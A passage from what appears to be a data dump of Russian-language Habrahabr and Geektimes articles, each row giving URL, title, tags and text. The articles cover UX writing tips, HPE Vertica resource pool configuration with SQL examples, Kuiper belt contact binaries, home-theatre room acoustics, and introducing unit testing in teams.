Hollow не предназначен для работы с наборами данных любого размера. Если данных достаточно много, то сохранение всего набора данных в памяти не представляется возможным. Однако при использовании надлежащей структуры и некоторого моделирования данных этот порог может быть намного выше, чем вы думаете.
Документация имеется на http://hollow.how , а код — на GitHub . Мы рекомендуем обратиться к краткому руководству — потребуется лишь несколько минут, чтобы просмотреть деморолик и увидеть работу, а ознакомление с полностью промышленной реализацией Hollow требует примерно час. После этого можно подключить вашу модель данных и — вперёд.
Если вы начали работать, то можно получить помощь непосредственно от нас или от других пользователей через Gitter или Stack Overflow, поместив метку «hollow». | https://habrahabr.ru/post/317640/ |
habrahabr | Как конструировать слова (от автора, который ненавидит читать) | ['Дизайн интерфейсов', 'слова', 'usability', 'дизайн', 'edisonsoftware'] | Честно говоря, я писатель. Мне платят за то, чтобы я писал слова. Но есть вещь, которую большинство обо мне не знают: я ненавижу читать.
Теперь не поймите меня неправильно — я все еще немного... | Честно говоря, я писатель. Мне платят за то, чтобы я писал слова. Но есть вещь, которую большинство обо мне не знают: я ненавижу читать .
Теперь не поймите меня неправильно — я все еще немного читаю. Я одолел книги и блоги, новые каналы и журналы. Но когда авторы становятся многословными, у меня замыливается взгляд. Мне скучно. Все что я вижу — простыня слов.
В детстве я думал, что мое отвращение к чтению — моя слабость. Это было так, пока спустя годы я не осознал, что эта слабость и помогла мне стать хорошим писателем.
Дело в том, что, в основном, я пишу тексты для приложений и сайтов. Здесь краткость лучше восхитительного стиля, на счету каждый знак. А писать текст для интерфейса во многом напоминает дизайн — дизайн слов для людей, которые ненавидят читать. Люди не читают ваш интерфейс
Многочисленные исследования показывают, как люди не читают в сети . Это работает и для приложений, и для игр, и для любого экрана, с которым вы взаимодействуете. Большинство просто просматривают страницу, выхватывая слова оттуда и отсюда. Вы удивитесь, сколько людей нажали «Continue».
Люди ленивы? Небрежны? Или они просто ненавидят читать? Какую бы теорию не предложи, результаты будут все те же. Люди не будут читать твой интерфейс — неважно, насколько потрясающие слова вы подобрали.
Исходя из этого, вы не должны просто писать слова и вставлять их в ваш дизайн. Как только вы напишите слова, возможно, вы поймете, что нужно изменить и его. Если вы не можете объяснить действие в нескольких словах, это сигнал того, что ваша конструкция слишком сложна.
Иначе: вы не должны создавать дизайн с lorem ipsum (условным, бессмысленным текстом-заполнителем). 7 советов по дизайну слов
Будучи автором для интерфейсов, я научился нескольким вещам, которые помогут сделать слово легче для прочтения. Надеюсь, эти советы пригодятся при написании и дизайне ваших собственных слов. 1. Сокращайте
Самая важная вещь, которую вы можете сделать для облегчения читателей — укоротить ваш текст. После написания черновика сократите его, затем снова и снова. Выбрасывайте детали, используйте простые слова и говорите только по делу. Будьте безжалостным. Чем короче ваш текст — тем выше вероятность, что его прочтут.
Как писатель я прекрасно понимаю, как заманчиво растечься мыслью по древу и расписать свои идеи, но интерфейс не место для этого. Для этого есть Хабр Medium :). 2. Добавляйте заголовки
Иногда текст уже невозможно сократить. Тогда посмотрите, можно ли добавить заголовок, который передает содержание в нескольких словах. Используйте ключевые слова, которые может искать пользователь. Они всегда могут прочесть о том, что конкретно их интересует. С заголовками проще «сканировать» текст. 3. Делай списки
Во время просмотра страницы наш взгляд обычно двигается вверх-вниз . Поэтому списки, действительно, легче читать, чем параграфы.
Если вы поймали себя за многократным употреблением таких слов как «и» или «также» внутри абзаца, попробуйте переделать текст в формат списка.
Некоторые платформы, Medium, например, перегружены содержанием — в этом нет ничего плохого. Но иногда бывает непросто читать абзац за абзацем. Мне нравится делать списки. 4. Давайте перерыв
Когда мне нужно написать много, я использую визуальные перебивки , которые позволяют облегчить материал — разрывы строк, картинки, заголовки, примеры — все, что способно разрывать стены из слов. Это дает людям вздохнуть, позволяет подумать и оглядеться, если им это нужно.
К примеру, в моих постах в Medium, я стараюсь писать абзацы из небольшого количества строк и чередовать их с визуальными перебивками. 5. Акцент — на слова
Некоторые авторы слишком много уделяют внимания выбору слов. Подбор слов важен, но, я думаю, форма подачи этих слов важна не меньше.
Когда вы подбираете слова, подумайте о том, как подчеркнуть самые важные слова на экране и как скрыть самое ненужное. В дизайне это называют визуальной иерархией .
Подумайте о жирности шрифта, размере, цвете, контрасте, капитализации, расстоянии, близости, выравнивании, перемещении — все эти вещи имеют большое влияние. При этом неважно, читают люди ваши слова или нет. Настраивайте, меняйте атрибутику до тех пор, пока не найдете нужный баланс. Что легче прочесть? 6. Не всё сразу
Когда вы пытаетесь объяснить пользователю, как что-то сделать, заманчиво просто поместить всю нужную информацию на одном экране и надеяться на то, что они ее прочтут. Но если ваш текст длиннее нескольких строк, то шанс, что его прочтут многие — минимален. Что тогда делать?
Иногда можно показывать небольшой кусочек информации в определенный период времени. Говоря языком учебника, требуется прогрессивное раскрытие , но я бы назвал его медленным открытием (звучит драматичнее, не так ли?). Попробуйте разбить информацию на части и преподносить ее шаг за шагом. Много текста? Выдавайте его по частям.
Другая вещь, которой вы можете воспользоваться — убрать подробное описание из текста и сделать детальную информацию ссылкой. 7. Пишите в макетах, а не документах
Вы когда-нибудь писали что-то, что хорошо смотрится на бумаге, но в конечном варианте выходит слишком длинно? Так происходит, когда вы пишете в Google Docs, Dropbox Paper или любом другом из приложений.
Когда вы пишете для интерфейса, ключевым является видеть весь контекст. Вы должны знать как будут выглядеть ваши слова со всем, что их окружает.
Поэтому я предпочитаю писать не в документах, а в Mock-объектах — так я вижу контекст моих слов. Напутствие
Слова наполняют наш мир смыслами. Они помогают нам понять мир вокруг нас. Правда, печально то, что многие просто не любят читать. Если вы работаете со словами так же, как работаю с ними я, наша цель должна заключаться в том, чтобы сделать чтение максимально простым. Помочь людям понять мир вокруг них.
Советы выше это лишь часть того, чем я пользуюсь во время дизайна слов. Придумали свои советы? Пожалуйста, делитесь своими идеями, историями и комментариями ниже.
И для тех, кто ненавидит читать — спасибо, что прочитали. Перевод: Лиза Ламова Поддержка публикации — компания Edison , которая разработала электронный сервис передач заключенным и реализовала систему продажи билетов на междугородние маршруты . | https://habrahabr.ru/company/edison/blog/317698/ |
habrahabr | Боремся с нагрузками в HPE Vertica | ['vertica', 'bigdata'] | Типовой сценарий работы «just in time» хранилища данных выглядит так: десятки (ETL) сессий почти непрерывно захватывают с источников данные и вставляют их в хранилище. Параллельно множество других... | Типовой сценарий работы «just in time» хранилища данных выглядит так: десятки (ETL) сессий почти непрерывно захватывают с источников данные и вставляют их в хранилище. Параллельно множество других (ELT) сессий отслеживают поступление данных, заполняют консолидированный слой и ведут расчет агрегатов и витрин. Одновременно с этим, на поступающих первичных и рассчитанных данных, выполняют запросы пользователи, BI и другие системы. Вся эта каша должна ладно вариться в рамках сервера хранилищ данных, без тормозов и затыков, какими бы не были пиковые нагрузки.
В HPE Vertica для планирования работы сервера под нагрузками разработан специальный механизм, под названием «ресурсные пулы». Идея его в том, что каждый пользователь сервера работает в рамках выделенного ресурсного пула, который регулирует приоритетность доступа к ресурсам кластера, ограничивает конкурентность выполнения запросов и описывает правила резервирования и работы с памятью сервера.
По умолчанию после установки сервера Vertica на созданной базе данных это выглядит примерно так:
На каждом сервере (ноде) кластера доступная для Vertica память обозначается, как ресурсный пул General. Для различных нужд сервера автоматически создаются служебные пулы, которые отрезают от General для себя кусочки памяти: WOS — для хранения в области памяти порционно вставляемых данных
TM — для фонового служебного процесса Tuple Mover, выполняющего moveoute и mergeout операции
Прочие служебные — Vertica имеет дополнительные ресурсные пулы для проведения операций восстановления нод кластера, построения проекций, выполнения служебных запросов и т.д.
По умолчанию пользователи сервера крутятся под управлением самого пула General. Можно посмотреть его текущие настройки: dbadmin=> SELECT * FROM resource_pools WHERE name = 'general';
-[ RECORD 1 ]------------+------------------
pool_id | 45035996273721212
name | general
is_internal | t
memorysize |
maxmemorysize | 30G
executionparallelism | AUTO
priority | 0
runtimepriority | MEDIUM
runtimeprioritythreshold | 2
queuetimeout | 00:05
plannedconcurrency | 10
maxconcurrency | 20
runtimecap |
singleinitiator | f
cpuaffinityset |
cpuaffinitymode | ANY
cascadeto |
Расшифрую некоторые параметры: memorysize — размер зарезервированной памяти пула, этот размер отрезается от пула General, уменьшая его размер доступной памяти, для General соответственно не указывается.
maxmemorysize — максимально разрешенный размер использования памяти пулом. В случае использования пулом памяти, более указанной memorysize, недостающая память временно забирается из пула General, если там есть конечно что забирать.
plannedconcurrency — делитель для установки размера памяти, выделяемой сессии при старте запроса в пуле, в данном случае для пула General maxmemorysize: 30 гб делить 10 plannedconcurrency = каждой сессии при старте выделяется 3 гб памяти пула, что мягко говоря жирновато.
maxconcurrency — максимальное количество выполняемых на пуле конкурентных сессий.
Такие «дефолтные» настройки дают фактически 100% гарантию тормозов работы Vertica: 10 сессий запускает выполнение запросов
каждой сессии выделяется по 3 гб памяти пула, даже если столько и не нужно
Если сессии еще не успели отработать и новые сессии запустили еще запросы, то вместо памяти из 30 гб они получают работу в свапе
Если какая-то сессия в ходе работ съела всю память пула, то другие сессии так же оказываются в свапе
Давайте поможем «горю»: ALTER RESOURCE POOL general PLANNEDCONCURRENCY 60 MAXCONCURRENCY 10;
Теперь каждой сессии при старте запроса в пуле выделяется 0.5 гб, а всего одновременно может выполнятся не более 10 сессий. При старте 10 сессий будет израсходовано 5 гб памяти пула, еще 25 гб останется как резерв для отдачи памяти тяжелым запросам и другим ресурсным пулам.
Хочу обратить внимание на параметр MAXCONCURRENCY — чем он ниже, тем быстрее будут работать ваши запросы. У каждой аппаратной части есть предел нагрузок, при превышении которого все «встает колом». Чем выше конкурентность, тем больше нагрузка на процессоры и дисковые массивы, тем ниже их скорость работы. Эффективнее выполнить 10 запросов и далее с очереди выполнить следующие 10 запросов, чем пытаться выполнить одновременно 20 запросов. Естественно, MAXCONCURRENCY будет в первую очередь зависеть от поставленных для решения задач пула и от характеристик железа кластера, Ваша задача выявить пределы и выставить его чуть ниже пределов, чтобы в случае пиковых нагрузок одновременного выполнения множества тяжелых запросов, кластер вдруг не затормозил для всех его пользователей.
Так что же с пулами? Пока мы только настроили General, однако держать в нем пользователей на самом деле дурная практика. Давайте сделаем типовые пулы по группам задач пользователей: -- Пул для писателей
CREATE RESOURCE POOL writers
MEMORYSIZE '2G'
MAXMEMORYSIZE '10G'
PLANNEDCONCURRENCY 10
MAXCONCURRENCY 10
PRIORITY -50
RUNTIMECAP '3 MINUTE'
RUNTIMEPRIORITYTHRESHOLD 0;
-- Пул для тяжелых длинных запросов
CREATE RESOURCE POOL slowly
MEMORYSIZE '0%'
MAXMEMORYSIZE '20G'
MAXCONCURRENCY 7
RUNTIMEPRIORITY LOW
QUEUETIMEOUT '15 MINUTE'
RUNTIMEPRIORITYTHRESHOLD 0;
-- Пул для читателей
CREATE RESOURCE POOL readers
MEMORYSIZE '4G'
MAXMEMORYSIZE '10G'
PLANNEDCONCURRENCY 20
MAXCONCURRENCY 10
RUNTIMECAP '5 MINUTE'
PRIORITY 50
RUNTIMEPRIORITYTHRESHOLD 3
CASCADE TO slowly;
General теперь у нас «похудел»:
Что мы сделали: Раскидали по группам сессии пищушие, читающие и выполняющие длинные тяжелые запросы.
Выделили начальную память пулам читателей и писателей, чтобы для большинства коротких запросов память бралась сразу из резервированной для пула без подкачки с General.
Не стали выделять память пулу тяжелых запросов, все равно его сессии захотят много памяти и резервировать для них, отрезая драгоценную память из General, смысла нет, зато этому пулу разрешили забирать до 20 гб памяти от General в случае необходимости.
Выставили для пула тяжелых запросов пониженный приоритет выполнения LOW.
Для пула писателей и читателей выставили приоритет доступа к ресурсам так, чтобы по приоритету выполнения MEDIUM пул писателей был аутсайдером (-50 приоритет), пул General был посередине (нулевой приоритет) и пул для читателей был выше этих пулов (50 приоритет).
Рационально выставили значения конкурентности пулам, где одновременно могут выполняться 10 запросов писателей, 10 запросов читателей и 7 тяжелых запросов.
Для ситуаций, когда пользователь запустил тяжелый запрос в пуле читателей, который длиться более 5 минут, указали перевод каскадом таких запросов на пул тяжелых запросов. Это гарантирует, что пул читателей не просядет при выполнении на нем длинных запросов, которые забьют слоты выполнения конкурентов и замедлят конвеер выполнения из очереди быстрых запросов. Для пула писателей выставили ограничения выполнения запросов не более 3 минут, чтобы неоптимизированные запросы вставки или обновления данных сшибались.
Для пула тяжелых запросов выставили время ожидания в очереди 15 минут. Если все конкурирующие слоты у пула заняты, то после 15 минут ожидания, стоящие в очереди запросы будут прекращены с ошибкой. Это даст понять пользователям, что сервер не висит, а просто в рамках их пула все занято.
Для пула читателей выставили время в 3 секунды, в течении которых запрос после запуска имеет наивысший приоритет по ресурсам. Это позволит быстро выполнять короткие запросы, освобождая место в пуле для других запросов
Теперь назначаем пользователям нужные пулы и дело сделано: ALTER USER user_writer RESOURCE POOL writers;
ALTER USER user_reader RESOURCE POOL readers;
ALTER USER user_analytical RESOURCE POOL slowly RUNTIMECAP '1 HOUR' TEMPSPACECAP '10G';
Здесь мы дополнительно, помимо пула, пользователю «user_analytical» ограничили для запросов время выполнения одним часом и разрешили использовать не более 10 гб пространства в TEMP.
Хочу заметить, что все вышеописанное в статье является действием «куда копать», а не примером «что настроить». Сколько и каких будет ресурсных пулов, с какими характеристиками — это все должны решить Вы сами. Можно начать с малого — создать по примеру подобные 3 пула и дальше смотреть по нагрузкам кластера, постепенно балансируя параметры пулов и выделяя группы пользователей по разным пулам. Главное помнить, что: Пул General является общим кладезем памяти для всех пулов и лучше его не использовать напрямую для работы пользовательских сессий
Чем меньше конкурентов, тем меньше скорость проседания железа в пиковых нагрузках
Сумма максимально разрешенной памяти всех пулов не должна перекрывать память General
| https://habrahabr.ru/post/317784/ |
habrahabr | Целый новый мир на краю Солнечной системы | ['пояс койпера', 'плутон', 'астероиды', 'KBO', '2001QG298'] | С моей точки зрения нет никакого смысла в том, чтобы выдернуть один или несколько объектов из толпы и назвать их каким-то особым названием, а не частью этой толпы.
— Майк Браун, он же «Убийца... | С моей точки зрения нет никакого смысла в том, чтобы выдернуть один или несколько объектов из толпы и назвать их каким-то особым названием, а не частью этой толпы.
— Майк Браун, он же «Убийца Плутона»
В нашей Солнечной системе в её внутренней части хозяйничают четыре каменистых планеты, а во внешней – четыре газовых гиганта. Но за Нептуном тысячи ледяных и каменистых миров – включая Плутон, бывшую девятую планету – составляют огромное и широкое кольцо, известное под названием пояса Койпера .
Его история начиналась с нескольких ледяных миров, но затем оказалось, что в этом месте идёт очень плотное движение – с 1992 года там были открыты сотни миров .
И хотя некоторые из этих объектов – это такие же большие и округлые сферы, как Плутон, большинству из них просто не хватает гравитации, чтобы привести себя в такую форму.
Конечно же, встречаются и забавные исключения. Например, карликовая планета Хаумеа , у которой хватает гравитации для придания себе сферической формы, но она вращается настолько быстро, что растянулась в эллипсоид!
Один из способов изучения другого мира, даже занимающего не больше одно пикселя на изображении, полученном с фотоаппарата, это наблюдение за изменением его кривой блеска.
Представьте себе нашу Луну.
Неважно, насколько далеко вы находитесь от Луны, пока вы её хоть как-то видите, вы сможете измерить количество отражаемого ею света. И если Луна поворачивается так, что вы видите её в различных ракурсах с разных сторон, можно обнаружить, что наблюдаемое количество света со временем меняется. Меняется оно с периодичностью, зависящей от того, на какую часть Луны вы смотрите.
Что насчёт Хаумеа, неровного эллипсоида? Давайте изучим её кривую блеска.
Кривая показывает, что у неё не только одна сторона ярче другой (левая ярче правой), но также и то, что мы видим различные ракурсы планеты (поэтому на кривой есть яркие пики и глубокие провалы).
Можно также заключить, что более тёмная сторона является и более красной, поскольку с неё испускается больше красного света, чем белого. Та же команда создала на основе этих данных видео, где демонстрируется, как должна выглядеть эта карликовая планета.
Хаумеа не единственный неровный объект. Не так далеко от нашей планеты можно найти известные астероиды, отличающиеся большим разбросом по массе.
В 1989 году мы изучали на радаре высокого разрешения один из астероидов, 4769 Castalia , и сделанные открытия очень нас удивили.
Мы нашли новый класс астероидов, известный сегодня, как тесная двойная система . Такие астероиды состоят из двух небольших объектов, массы которых не хватает для придания им сферической формы, касающихся друг друга! С тех времён было найдено множество других подобных объектов, включая крупнейший из Троянских астероидов Юпитера (тех, что находятся в окрестностях его точек Лагранжа, в 60 градусах впереди и позади Юпитера): 624 Hektor .
Вы, конечно, имеете право поставить под сомнение реалистичность картинки, изображённой художником. Но мы не только открыли множество таких тесных двойных систем, но и посетили одну из них! Познакомьтесь со знаменитым астероидом 25143 Итокава .
Считается, что Итокава был тесной двойной системой из двух куч булыжников, и сейчас его половинки под влиянием объединённой гравитации начали сплавляться вместе и придали ему такую неправильную форму, напоминающую картофелину.
Такое поведение астероидов не частое, но встречающееся. Но до недавнего времени мы ещё не открывали подобных объектов в поясе Койпера. У нас не было ни данных, ни подходящего разрешения.
Но в 2011 году на Европейском конгрессе сообщества планетологов Педро Лацерда [Pedro Lacerda] опубликовал кривую блеска удалённого объекта с пояса Койпера, 2001QG298.
Какую форму должен иметь объект, чтобы выдать такую странную кривую? Согласно Лацерде: Представьте, что вы склеили вершинами два яйца – примерно такая форма будет у 2001QG298. Он немного напоминает песочные часы.
Объект удалён настолько, что его форму нам не рассмотреть. Но его колебания яркости, кривая блеска, демонстрирует во время его вращения его странную форму. Иногда объект становится более тусклым, поскольку одна его доля скрывается за другой, поэтому солнечный свет отражается от меньшей поверхности. Когда скрытая часть вновь появляется, форму песочных часов можно видеть полностью. Увеличивается отражающая площадь и объект становится ярче.
Иначе говоря, это тесная двойная система, вращающаяся так, что её половинки периодически скрываются из нашего поля зрения.
Вы, конечно, же, заметили, что кривая блеска от 2004 года существенно отличается от кривой 2011. Почему бы это?
Вспомните, что как и все объекты в Солнечной системе, KBO 2001QG298 вращается вокруг Солнца! И в процессе вращения нам становятся видны разные его части, что и означает разное количество света в целом!
И поскольку в процентном отношении нам известна очень малая доля объектов пояса Койпера, то возможно, что такая форма для них не редкость. Из пресс-релиза : Самым важным следствием открытия стала возможность того, что такая форма двойных объектов пояса Койпера может встречаться очень часто. Когда в 2004 году Шеппард и Джюитт обнаружили 2001QG298 в наборе из 34-х объектов пояса Койпера, они поняли, что им повезло рассмотреть его двойную сущность. Если бы он не был повёрнут своей стороной к нам во время их наблюдений, они бы не зафиксировали сильных колебаний на кривой блеска. Они оценили, что примерно 10% объектов пояса Койпера представляют собой тесные двойные системы, если их наклоны расположены хаотично.
Но Лацерда считает, что их наклоны могут быть не случайными, и что таких объектов может быть гораздо больше.
«Для нас стал сюрпризом тот факт, что 2001QG298 наклонён на 90 градусов, но такой наклон в тесной двойной системе мы видим уже не в первый раз,- рассуждает он. – Есть ещё один известный двойной объект, большой Троянский астероид 624 Hektor, также наклонённый почти на 90 градусов».
Если тесные двойные системы сильно наклонены, то шансы обнаружить их переменные кривые блеска уменьшаются – это можно сделать всего дважды за всю их орбиту. Обнаружение такого объекта в небольшом наборе намекает на то, что тесных двойных систем может быть больше, чем сначала считали Шеппард и Джюитт. Лацерда предполагает, что примерно 25% объектов пояса Койпера представляют собой тесные двойные системы.
Из двух наборов наблюдений Лацерда воссоздал внешний вид этого объекта с нашей точки зрения и даже сделал видео его вращения вокруг центра и обращения вокруг Солнца!
Так что, хотя это первая тесная двойная система, найденная нами в поясе Койпера, она однозначно не станет последней! | https://geektimes.ru/post/283794/ |
habrahabr | Акустика помещений: подготовка комнаты для домашнего кинотеатра | ['звук', 'аудиоаппаратура', 'акустика', 'домашний кинотеатр', 'акустика помещений', 'физика звука'] | Общеизвестно, что на звучание аудиоаппаратуры влияет множество факторов и одной из важнейших составляющих качества звука является акустика помещения. Учитывая многочисленные просьбы наших читателей... | Общеизвестно, что на звучание аудиоаппаратуры влияет множество факторов и одной из важнейших составляющих качества звука является акустика помещения. Учитывая многочисленные просьбы наших читателей и активное обсуждение вопроса на GT, мы решили посвятить этой теме несколько публикаций.
В этом материале мы рассмотрим акустическую подготовку помещений для домашнего кинотеатра . Следует также отметить, что принципы, описанные в этой статье, во многом будут полезны при создании комнат для прослушивания музыки, домашних музыкальных студий и репетиционных баз.
Сегодня многие приобретают достаточно дорогую аудиоаппаратуру для домашнего кинотеатра, и, нередко случается, что в связи с проблемами помещения, где она установлена, звук оставляет желать лучшего. Акустика помещения играет одну из ключевых ролей при формировании сцены, характера звучания, передачи различных тембральных и частотных особенностей. Во многом именно благодаря акустике помещения удается добиться т.н. эффекта присутствия при просмотре фильмов и использовании систем объёмного звука. Общие принципы
Путешествие звуковых волн по помещению начинается на выходе из излучателей, после чего они многократно отражаются от стен, пола и потолка. Именно эти препятствия на их пути и создают наибольшее количество проблем. На звук влияет всё, начиная от мебели, напольного покрытия, типа потолка, вплоть до материала, из которого создано здание и межкомнатные перегородки. В некоторых помещениях существенной проблемой становится не только отражение, но и резонанс материалов отделки или мебели.
Стремление к получению качественного звука начинается со снижения количества отражений, устранения резонансных поверхностей, и получения максимально возможного рассеивания звука в помещении. При подготовке помещения необходимо чтобы акустические свойства поверхностей минимально влияли на частотные параметры сигнала, не вносили существенных искажений, не порождали негативно влияющих отражений и отзвуков.
Для этого при подготовке такого помещения настоятельно рекомендуется свести к минимуму количество плоских поверхностей, деревянных и стеклянных предметов интерьера. Совсем идеальный вариант – оставить в комнате только мягкую мебель, а также предметы интерьера с рельефной поверхностью. Кроме того, важно понимать, что чем больше помещение, тем более существенные изменения придется вносить в отделку.
Подавляющее количество акустических проблем вызывается т.н. «стоячими волнами» и отражением звуковых волн. Используя ряд доработок в отделке можно свести к минимуму влияние этих факторов на звук домашнего кинотеатра. Наиболее простыми и доступными способами изменения акустических свойств помещения является применения звукопоглощающих и звукорассеивающих материалов. Для наглядности на схеме ниже отражено влияние поглощающих и рассеивающих поверхностей на звуковые волны: Поглощение
Для отделки стен домашних кинотеатров сегодня широко используются звукопоглощающие панели. При этом следует понимать, что различные частоты поглощаются материалами неодинаково. Большинство современных панелей, созданных на основе стекловолокна, с толщиной 2,5 см способны эффективно поглощать звуковые волны с частотой до нижней границы 850 -1000 Гц.
При этом добиться эффективного поглощения более низких частот можно используя увеличение толщины слоя. Закономерно, что при подобном подходе, неизбежно придётся жертвовать объёмом помещения. Учитывая линейность зависимости, при использовании стекловолоконных и аналогичных им панелей, для эффективного поглощения звуковых волн всего слышимого спектра необходимо использовать слой толщиной около 15 см. При более эффективном звукопоглощении материала толщина подобного слоя может быть меньше.
Для оценки звукопоглощения используется специальный коэффициент. Коэффициент звукопоглощения – отношение величины, не отраженной от поверхности звуковой энергии, к величине падающей энергии. Она рассчитывается по формуле: А(зв)=Е(погл)/Е(пад)
где А(зв) — коэффициент звукопоглощения; Е(погл) — поглощённая звуковая волна; Е(пад) — падающая звуковая волна; E(отр) — отраженная звуковая волна; Е(рас) — звуковая волна, рассеянная в материале; Е(прош) — звуковая волна, прошедшая через материал.
При этом, следует помнить, что при расчетах коэффициента для материалов оценивается не весь слышимый спектр частот, а лишь диапазон в пределах от 125 до 4000 Гц.
Ниже привожу сравнительную таблицу с коэффициентами некоторых материалов:
Наиболее существенная роль поглощающих панелей – это устранение так называемого «первого отражения". Как известно, звук из АС достигает наших ушей как непосредственно, так и за счет отражений от нескольких поверхностей, и, естественно, отраженная волна делает это через несколько миллисекунд после прямой. Негативное влияние первого отражения неизбежно искажает сцену (расположение кажущихся источников звука), может способствовать формированию нежелательных пространственных звуковых иллюзий при использовании систем объемного звука (4.0, 5.1, 7.1 и др).
Соответственно, в первую очередь необходимо оборудовать звукопоглощающими панелями поверхности, на которых будут находиться проекции точек «первого отражения». Количество таких точек будет зависеть от количества колонок (кабинетов) в использованной акустической системе.
Ниже приведены упрощённые схемы дающая представление о точках первого отражения:
Ориентировочное расположение точек первого отражения легко определить при помощи зеркала. Суть метода: один человек находится на месте просмотра, другой двигается вдоль стен с зеркалом. Как только первый видит в зеркале отражение динамика – точка первого отражения определена. Большинство специалистов считают, что для эффективного звукопоглощения нет необходимости покрывать материалами все поверхности, достаточно закрыть точки отражения панелями с шириной 70-90 X 200-250 см (или более) в зависимости от высоты стен. Также, для того, чтобы снизить негативное влияние низких средних, имеет смысл установить панели на потолке.
После правильной установки панелей остаётся только одна проблема с поглощением – волны с частотой ниже 140 Гц. Обеспечение оптимального звучания низких частот требует особого подхода – использования специальных низкочастотных поглотителей. Существует несколько конструкций таких поглотителей, и я не берусь утверждать какие из них лучше (многие хвалят трубы). Важно понимать, что их количество и коэффициент поглощения будут зависеть от уровня звукового давления сабвуфера или низкочастотных динамиков АС. Также, в качестве альтернативы поглотителям, можно использовать мягкую мебель, что не всегда эффективно, но в ряде случаев может помочь справиться с низкими. Рассеивание
Поглощение должно быть оптимальным, чрезмерное звукопоглощение сделает звук менее реалистичным, исчезнет иллюзия объёма. Для обеспечения баланса отражения и поглощения используется рассеивание звука. Как мы видели на таблице во второй части статьи, рассеивание позволяет увеличить количество векторов каждого отражения. За счет неровностей поверхности возникают дополнительные звуковые поля, образующиеся в результате дифракции звука. Таким образом звук «заполняет» помещение более равномерно.
Существуют разнообразные рассеивающие панели, которые могут создаваться из различных материалов, например, твёрдых сортов древесины, камня, синтетических материалов. В некоторых случаях рассеивающие панели покрывают тканью или войлоком. Характерной особенностью рассеивающих панелей является неровная фактура поверхности, не редко используется коническая форма элементов. Известно, что в нашем недалёком советском прошлом, при остром дефиците акустических отделочных материалов, в качестве рассеивающих панелей, некоторые музыканты и меломаны использовали яичные лотки. Расчет комнатных резонансов
Для более точного определения параметров звукопоглощения низких частот будет полезен расчет комнатных мод (комнатных резонансов). В любом помещении возникают так называемые комнатные моды или комнатные резонансы. На их формирование влияют соотношения длины, ширины и высоты комнаты. Эти параметры задают расположение комнатных резонансов в частотном спектре и плотность их распределения.
Таким образом, используя известные размеры помещения, можно заранее рассчитать частоты, на которых возникнут резонансы, а, следовательно, знать о том будут ли усиливаться или же подавляться те или иные частоты.
Для идеального прямоугольного помещения с ровными поверхностями стен пола и потолка, резонансы вычисляются по формуле:
где nx, ny и nz – целые числа, а Lx, Ly и Lz – это соответственно длина, ширина и высота комнаты.
Для вычисляя все резонансы необходимо поочередно подбирать все комбинации из трех целых чисел Nx, Ny, Nz. Специалисты отмечают, что на практике имеет значение вычисление только низкочастотных мод, т.е. максимальным N=4.
Отдельные резонансы описываются различными комбинациями из целых чисел Nx, Ny, Nz. Так, например, комбинация (1, 0, 0) будет описывать моду первого порядка вдоль стороны, принятой за «x», а (0, 2, 0) описывает моду второго порядка вдоль стороны, принятой за «y», и т.п…
Когда 2 из 3-х целых чисел равны нулю, расчет существенно упрощается и позволяет легко вычислить частоты «стоячих волн», которые возникают между парой противоположных стен вдоль одного из размеров помещения. f (1,0,0) = c/2/L
Эти моды называются осевыми или аксиальными и являются самыми интенсивными из всех. Именно их расчет представляет наиболее существенную важность. Итог
Оптимальное использование рассеивающих и поглощающих материалов позволят избавиться от негативных эффектов в акустике помещения, а соблюдение простых принципов, использование технически не сложных приёмов может существенно улучшить ваши ощущения от просмотра кино и прослушивания музыки. В следующем материале на эту тему специалисты нашей компании поделятся опытом, который они получили при создании наших демонстрационных комнат. | https://geektimes.ru/company/pult/blog/283788/ |
habrahabr | Модульное тестирование в современных командах | ['модульное тестирование', 'управление проектами и командой', 'тестирование'] | Для кого эта статья?
Данная статья расскажет о том, как нам удалось внедрить процесс модульного тестирования в команды, работающие по классической каскадной модели, а так же в команды с гибкой... | Для кого эта статья?
Данная статья расскажет о том, как нам удалось внедрить процесс модульного тестирования в команды, работающие по классической каскадной модели, а так же в команды с гибкой методологией (agile). В нашей организации в любой команде за общий процесс и наполнение спринта задачами отвечают проджект менеджеры, которые также участвуют в обсуждении видов тестирования, необходимых под каждую задачу ( совместный мозговой штурм.) и принимают конечное решение. Поэтому моя статья будет в первую очередь нацелена на проджект менеджеров в командах (только потому что у нас они занимают именно такую роль) и всех тех, кто по долгу службы занимается сходными задачами. Для каких команд это подойдёт?
Я хотела бы показать вам процесс внедрения модульного тестирования для 2-х типов команд. В командах, которые работают по гибкой методологии и в командах, которые выбрали для себя каскадный стиль работы.
Ниже на диаграмме показано схематическое устройство команд по ролям:
Из этой схемы можно заключить то, что проджект менеджер, получая задачи от держателя продукта, согласовывает их со всеми участниками процесса и по результатам включает (или нет) их в спринт. Чем модульное тестирование отличается от обычного?
Теперь хотелось бы рассказать что же такое модульное тестирование и как это реализовано в нашем случае:
Начну с того, что специалистами модульного тестирования являются эксперты в своих областях (под этим чаще всего понимается конкретная система). Они обладают широчайшим бэк граундом и необходимыми техническими навыками. Каждая система требует своих знаний, где-то это экспертные знания Pl/SQL, где-то конкретных языков разработки, а где-то только многолетний опыт работы с конкретной системой. Мы не затрагиваем front-end системы. Мы стоим на страже систем middle и back уровней.
Наверное ни для кого не секрет, что разработка/доработка любой фичи включает в себя изменения в системах на различных уровнях. Каждый модульный тестировщик проверяет новый функционал только в рамках своей системы. Тестируется код, соответствие контрактов без применения интерфейса. Выборка тестовых данных также происходит не вслепую, а на основе принципа минимального набора данных, покрывающего максимальное количество вариации выходных параметров. Для нас главное функциональная и техническая правильность написанного кода.
Первое отличие модульного тестирования от других видов заключается в том, что мы смотрим в код и ориентируемся на неизменность зафиксированных контактов/выходных параметров. Если они зафиксированы и не нарушаются, то в процессе интеграции систем фича включается без проблем.
И второе — это существенное снижение времени на тестирование доработки за счет экспертизы. Интеграционное тестирование смотрит фичу целиком, мы же рассматриваем ее по частям. Какие задачи решает модульное тестирование? Исходя из всего вышесказанного можно подвести черту и ответить на вопрос: какие же задачи решает модульное тестирование? Тестирование функционала в разрезе «своей» системы.
Техническое тестирование кода на предмет не только обработки корректных данных, но и формирования ошибок и исключений.
Передача функционала в интеграционное тестирование без критичных багов и блокирующих дефектов.
Это пожалуй 3 основных момента, которые хотелось бы выделить. Можно долго разговаривать о том, что ошибки найденные в процессе разработки или же сразу после нее правятся быстрее и менее болезненно, но это вы и без меня знаете. Так же как знаете, что конкретно описанный баг на уровне кода, разработчиком воспринимается намного проще, чем общий баг в рамках процесса. Польза внедрения модульного тестирования
